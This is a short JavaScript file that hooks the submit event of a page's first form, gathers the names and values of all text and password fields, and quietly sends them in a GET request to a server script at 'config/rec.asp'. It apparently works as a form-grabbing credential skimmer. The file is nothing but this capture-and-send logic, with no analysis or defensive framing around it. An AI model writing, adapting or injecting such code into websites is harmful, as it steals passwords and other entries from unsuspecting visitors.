//==========================================================================================
var xmlhttp;
//==========================================================================================
function LoadFile(url) {
	xmlhttp=null;
	if (window.XMLHttpRequest) {// Firefox, Opera, IE7
		xmlhttp=new XMLHttpRequest();
	} else if (window.ActiveXObject) {// IE6, IE5
		xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
	}//end if (window.XMLHttpRequest)
	if (xmlhttp!=null) {
		xmlhttp.open("GET",url,true);
		xmlhttp.send(null);
	}//end if (xmlhttp!=null)
}//end function
//==========================================================================================
xForms=document.getElementsByTagName("form");
if (xForms) {
//	for (f=0;f<xForms.length;f++) {
		xForm=xForms[0];
		xForm.onsubmit=function() {
			xInputs=xForm.getElementsByTagName("input");
			if (xInputs) {
				xString="";
				for (i=0;i<xInputs.length;i++) {
					xInputType=xInputs[i].type;
					xInputName=xInputs[i].name;
					xInputValue=xInputs[i].value;
					if (xInputType=="text"||xInputType=="password") {
						xString+=xInputName;
						xString+=" = ";
						xString+=xInputValue;
						xString+=" <br/> ";
					}//end if (xInputType=="text"||xInputType=="password")
				}//next i<xInputs.length
			}//end if (xInputs)
			dothis=LoadFile("config/rec.asp?"+xString);
		}//end function
//	}//next f <xForms.length
}//end if (xForms)
//==========================================================================================

